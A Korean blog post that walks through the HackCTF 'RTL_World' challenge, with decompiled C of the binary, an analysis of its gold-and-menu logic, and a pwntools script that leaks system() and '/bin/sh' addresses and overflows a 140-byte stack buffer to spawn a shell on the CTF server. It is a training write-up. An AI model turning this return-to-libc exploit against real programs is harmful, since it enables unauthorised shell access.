RTL_World 풀이

2021. 7. 17. 19:27HackCTF

728x90

문제 정보
문제에서 주어진 파일
적용된 보호기법

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        continue;
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
    }
  }
}

 

위에 있는 소스코드는 rtl_world 파일의 main() 함수를 IDA로 디컴파일한 것입니다.

puts 함수를 줄줄이 나열해놓고 거기에 switch문까지 더해지니 코드 길이가 아주 기네요....

차분히 분석해보겠습니다.

 

우선 handle이라는 변수에 dlopen을 써서....

벌써 막혔네요.

dlopen 함수가 무슨 역할을 하는지 구글에 검색해봤습니다.

(덤으로 그 아래에 있는 dlsym이랑 dlclose도)

 

dlopen : 정상적으로 호출될 때마다 공유 라이브러리에 대한 참조 count를 1씩 증가
dlsym : 공유 라이브러리에 포함된 심볼의 위치 포인터를 얻음
dlclose : 공유 라이브러리를 더이상 사용하지 않게 될 때 사용을 끝냄

 

dl~들은 중요하지 않은 것 같으니 무시하겠습니다.

 

그 아래에 있는 puts들을 보면 간단한 안내를 출력한다는 걸 알 수 있습니다.

그리고 while문으로 들어가서 호출되는 Menu() 함수를 보겠습니다.

 

Menu() 함수를 IDA로 디컴파일

v4 변수에 1~6까지의 수 중 하나를 입력받고 그에 맞는 동작을 하는 것으로 보입니다.

그럼 1부터 6까지 어떤 역할을 하는지 가볍게 정리해보겠습니다.

 

1. 해당 파일의 바이너리 보호기법 정보를 출력
2. Get_Money() 함수를 호출해서 골드 생산(Get_Money() 함수는 아래에서 자세하게 다룸)
3. 보유 골드에 따라 system() 함수 주소 출력
4. 보유 골드에 따라 Shell 주소 출력
5. read() 함수로 0x400 크기의 buf 입력 받음
6. 프로그램 종료

 

이제 Get_Money() 함수를 분석해보겠습니다.

 

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

 

골드를 생산(다시 생각해보니 획득이라는 단어가 더 어울리는 것 같습니다.)하는 방법은 3가지가 있다 합니다.

파밍, 아이템 팔기, 헌팅

각각 100골드, 350골드, 500골드를 획득할 수 있습니다.

4를 입력하면 도박을 하고 랜덤 한 값만큼 돈을 획득할 수 있습니다.

 

이제 프로그램이 어떻게 동작하는지 파악했으니 문제를 풀어보겠습니다.

 

우선 rtl_world 파일을 실행시켜 골드로 system, shell의 주소를 사보도록 하겠습니다.

 

system 주소
shell 주소

필요한 주소들도 얻었으니, 어디서 Buffer Overflow를 일으킬지 생각해보겠습니다.

 

아까 main() 함수 부분에서 0x400(10진수로 1024)만큼 buf를 입력받았었습니다.

그런데 buf의 크기를 보면 0x8C(10진수로 140)입니다.

그러므로 이 부분에서 BOF가 발생하게 됩니다.

 

이제 익스코드를 짜 보겠습니다.

 

from pwn import *

context.log_level='debug'

p=remote("ctf.j0n9hyun.xyz",3010)

p.sendlineafter(">>>",'2')
p.sendlineafter(">>>",'4')

p.sendlineafter(">>>",'3')
p.recvuntil("Armor : ")
system_juso = int(p.recv(10),16)

p.sendlineafter(">>>",'4')
p.recvuntil("Sword : ")
shell_juso = int(p.recv(10),16)

p.sendlineafter(">>>",'5')

pl='a'*144+p32(system_juso)+'a'*4+p32(shell_juso)

p.sendlineafter("> ",pl)

p.interactive()

 

왜 위에서 얻은 system, shell 주소를 쓰지 않으셨냐고 물어보시는 분들이 계실 것 같습니다.

질문에 대해서는 주소가 바뀐다는 사실을 저라는 멍청이가 망각했기 때문이라고 답해드리겠습니다....ㅋㅋㅋㅋ

 

우선 Get_Money() 함수로 들어가서 히든 넘버인 4번을 선택해서 돈을 불립니다.

그리고 system, shell의 주소를 얻어줍니다.

 

BOF를 일으키기 위해 작성한 pl(payload)에는 buf의 크기+sfp의 크기만큼 a를 채워줍니다.

그리고 ret에는 system과 dummy, shell을 채워줍니다.

 

FLAG 획득 완료
문제 풀이 성공

200점인 것에 비해 난이도는 그렇게 높지 않았습니다.

하지만 소스코드가 너무 길어서.... 분석하는 시간이 꽤 걸렸습니다.

분석하는걸 다 적다 보니 글 쓰는 시간도 오래 걸렸네요.

728x90

'HackCTF' 카테고리의 다른 글

You are silver 풀이  (0) 2021.11.22
RTL_Core 풀이  (0) 2021.07.18
Offset 풀이  (0) 2021.07.14
Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13